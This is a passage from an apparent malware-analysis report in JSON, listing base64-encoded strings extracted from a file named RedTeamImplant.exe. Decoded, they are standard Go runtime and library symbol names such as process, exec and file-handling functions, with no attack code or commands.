Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpmaWxlU3RhdCkubG9hZEZpbGVJZC5kZWZlcndyYXAy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpmaWxlU3RhdCkuTW9kZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpmaWxlU3RhdCkubW9kZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpmaWxlU3RhdCkubW9kZVByZUdvMV8yMw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpmaWxlU3RhdCkuc2F2ZUluZm9Gcm9tUGF0aA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpmaWxlV2l0aG91dFJlYWRGcm9tKS5DbG9zZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpmaWxlV2l0aG91dFJlYWRGcm9tKS5SZWFk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpmaWxlV2l0aG91dFJlYWRGcm9tKS5Xcml0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpmaWxlV2l0aG91dFJlYWRGcm9tKS5Xcml0ZVRv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpmaWxlV2l0aG91dFdyaXRlVG8pLkNsb3Nl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpmaWxlV2l0aG91dFdyaXRlVG8pLlJlYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpmaWxlV2l0aG91dFdyaXRlVG8pLlJlYWRGcm9t","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpmaWxlV2l0aG91dFdyaXRlVG8pLldyaXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpub1JlYWRGcm9tKS5SZWFkRnJvbQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpub1dyaXRlVG8pLldyaXRlVG8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpQcm9jZXNzKS5kb1JlbGVhc2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpQcm9jZXNzKS5oYW5kbGVUcmFuc2llbnRBY3F1aXJl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpQcm9jZXNzKS5oYW5kbGVUcmFuc2llbnRSZWxlYXNl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpQcm9jZXNzKS5LaWxs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpQcm9jZXNzKS5raWxs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpQcm9jZXNzKS5zaWduYWw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpQcm9jZXNzKS5TaWduYWw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpQcm9jZXNzKS5zaWduYWwuZGVmZXJ3cmFwMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpQcm9jZXNzKS5zaWduYWwuZGVmZXJ3cmFwMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpQcm9jZXNzKS53YWl0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpQcm9jZXNzKS5XYWl0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpQcm9jZXNzKS53YWl0LmRlZmVyd3JhcDE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpwcm9jZXNzSGFuZGxlKS5hY3F1aXJl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpwcm9jZXNzSGFuZGxlKS5jbG9zZUhhbmRsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpwcm9jZXNzSGFuZGxlKS5yZWxlYXNl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpQcm9jZXNzU3RhdGUpLlN0cmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpQcm9jZXNzU3RhdGUpLlN1Y2Nlc3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpQcm9jZXNzU3RhdGUpLnN1Y2Nlc3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpQcm9jZXNzU3RhdGUpLlN5cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpQcm9jZXNzU3RhdGUpLnN5cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpTeXNjYWxsRXJyb3IpLkVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpTeXNjYWxsRXJyb3IpLlVud3JhcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuYWRkRXh0ZW5kZWRQcmVmaXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuYXBwZW5kQlNCeXRlcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuY29tbWFuZExpbmVUb0FyZ3Y=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuRW52aXJvbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuRXhlY3V0YWJsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuZXhlY3V0YWJsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuZmlsZVdpdGhvdXRSZWFkRnJvbS5DbG9zZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuZmlsZVdpdGhvdXRSZWFkRnJvbS5SZWFk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuZmlsZVdpdGhvdXRSZWFkRnJvbS5Xcml0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuZmlsZVdpdGhvdXRSZWFkRnJvbS5Xcml0ZVRv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuZmlsZVdpdGhvdXRXcml0ZVRvLkNsb3Nl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuZmlsZVdpdGhvdXRXcml0ZVRvLlJlYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuZmlsZVdpdGhvdXRXcml0ZVRvLlJlYWRGcm9t","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuZmlsZVdpdGhvdXRXcml0ZVRvLldyaXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuZml4TG9uZ1BhdGg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuZ2VuZXJpY1JlYWRGcm9t","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuZ2VuZXJpY1dyaXRlVG8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuR2V0ZW52","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuZ2V0TW9kdWxlRmlsZU5hbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuaW5pdC4w","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuaW5pdC4x","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuaW5pdC5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuaW5pdC5mdW5jMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuaW5pdC5PbmNlVmFsdWVbZ28uc2hhcGUuYm9vbF0uZnVuYzM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuaW5pdC5PbmNlVmFsdWVbZ28uc2hhcGUuYm9vbF0uZnVuYzMuMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuaW5pdC5PbmNlVmFsdWVbZ28uc2hhcGUuYm9vbF0uZnVuYzMuMS4x","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuSXNQYXRoU2VwYXJhdG9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuTG9va3VwRW52","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MubHN0YXROb2xvZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuTmV3RmlsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MubmV3RmlsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MubmV3RmlsZUZyb21OZXdGaWxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MubmV3RmlsZVN0YXRGcm9tR2V0RmlsZUluZm9ybWF0aW9uQnlIYW5kbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MubmV3RmlsZVN0YXRGcm9tV2luMzJGaWxlQXR0cmlidXRlRGF0YQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MubmV3RmlsZVN0YXRGcm9tV2luMzJmaW5kZGF0YQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MubmV3SGFuZGxlUHJvY2Vzcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuTmV3U3lzY2FsbEVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3Mubm9SZWFkRnJvbS5SZWFkRnJvbQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3Mubm9Xcml0ZVRvLldyaXRlVG8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuT3BlbkZpbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3Mub3BlbkZpbGVOb2xvZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MucmVhZE5leHRBcmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MucnVudGltZV9iZWZvcmVFeGl0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuU2FtZUZpbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3Muc2FtZUZpbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuU3RhcnRQcm9jZXNz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3Muc3RhcnRQcm9jZXNz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3Muc3RhdC5kZWZlcndyYXAx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3Muc3RhdEhhbmRsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3Muc3RhdE5vbG9n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3Muc3lzY2FsbE1vZGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy4oKkNtZCkuYXJndg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy4oKkNtZCkuYXdhaXRHb3JvdXRpbmVz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy4oKkNtZCkuYXdhaXRHb3JvdXRpbmVzLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy4oKkNtZCkuY2hpbGRTdGRlcnI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy4oKkNtZCkuY2hpbGRTdGRpbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy4oKkNtZCkuY2hpbGRTdGRpbi5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy4oKkNtZCkuY2hpbGRTdGRvdXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy4oKkNtZCkuZW52aXJvbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy4oKkNtZCkuUnVu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy4oKkNtZCkuU3RhcnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy4oKkNtZCkuU3RhcnQuZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy4oKkNtZCkuU3RhcnQuZnVuYzI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy4oKkNtZCkuU3RhcnQuZ293cmFwMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy4oKkNtZCkuU3RhcnQuZ293cmFwMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy4oKkNtZCkuU3RyaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy4oKkNtZCkuV2FpdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy4oKkNtZCkud2F0Y2hDdHg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy4oKkNtZCkud3JpdGVyRGVzY3JpcHRvcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy4oKkNtZCkud3JpdGVyRGVzY3JpcHRvci5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy4oKkVycm9yKS5FcnJvcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy4oKkVycm9yKS5VbndyYXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy4oKkV4aXRFcnJvcikuRXJyb3I=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy4oKkV4aXRFcnJvcikuU3RyaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy4oKndyYXBwZWRFcnJvcikuRXJyb3I=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy4oKndyYXBwZWRFcnJvcikuVW53cmFw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy5hZGRDcml0aWNhbEVudg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy5jaGtTdGF0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy5jbG9zZURlc2NyaXB0b3Jz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy5Db21tYW5k","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy5Db21tYW5kLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy5kZWR1cEVudg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy5kZWR1cEVudkNhc2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy5FeGl0RXJyb3IuU3RyaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy5maW5kRXhlY3V0YWJsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy5oYXNFeHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy5pbnRlcmZhY2VFcXVhbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy5pbnRlcmZhY2VFcXVhbC5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy5M","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy5sb29rRXh0ZW5zaW9ucw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy5Mb29rUGF0aA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy5sb29rUGF0aA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy5wYXRoRXh0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy5za2lwU3RkaW5Db3B5RXJyb3I=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy52YWxpZGF0ZUxvb2tQYXRo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy53cmFwcGVkRXJyb3IuRXJyb3I=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MvZXhlYy53cmFwcGVkRXJyb3IuVW53cmFw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3RoZXJTeXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3V0UmVnUHRycw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"T3V0U2xpY2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"T3ZlcmZsb3dDb21wbGV4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"T3ZlcmZsb3dGbG9hdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"T3ZlcmZsb3dJbnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"T3ZlcmZsb3dVaW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3ZlcmxhcHBlZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UCBIOVMgdTdI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UCBIOVMgdXFI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UGBmOVAydGdI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGFkU3RyaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGFuaWNraW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGFuaWNOb3RCb29s","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGFuaWNOb3RNYXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGFuaWNvbmZhdWx0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGFyZW50R29pZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGFyZW50SU9QaXBlcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UGFyZW50UHJvY2Vzcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGFya2luZ09uQ2hhbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGF0aC9maWxlcGF0aC5CYXNl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGF0aC9maWxlcGF0aC5DbGVhbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cGF0aC9maWxlcGF0aC5FeHQ=","type":"Ansi","source":"Memory/File 